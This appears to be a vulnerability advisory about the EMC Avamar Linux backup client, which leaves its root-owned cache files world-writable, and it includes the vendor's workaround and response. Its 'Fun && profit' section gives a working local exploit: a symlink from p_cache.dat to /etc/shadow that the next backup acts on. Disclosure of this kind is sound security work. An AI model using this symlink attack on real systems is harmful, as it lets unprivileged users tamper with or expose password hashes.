Product: Avamar backup client for Linux (Proberly also Unix but not tested) Vendor: EMC (http://www.emc.com) Tested version: 6.1.100-402 (Latest) Vendor Notification: December 17, 2012 Vender Patch: None Vender Workaround: <quote>workaround is to run a script at the end of each backup which set the files permissions to be read/write for the owner only</quote> Vender Response: Will maybe be patched in version 7 mid-2013 since EMC does not patch for security Solution Status: None Risk Level: High Details: The avamar client runs as root and after each backup it leavs the cache files as world writable: # ls -latr /var/avamar/f_cache.dat -rw-rw-rw- 1 root root 11534880 Dec 17 10:30 /var/avamar/f_cache.dat # ls -latr /var/avamar/p_cache.dat -rw-rw-rw- 1 root root 3146272 Dec 17 10:30 /var/avamar/p_cache.dat Fun && profit: # id uid=1000(slave) gid=1000(slave) groups=1000(slave) # cd /var/avamar # ln -sf /etc/shadow p_cache.dat and wait for the next backup window.
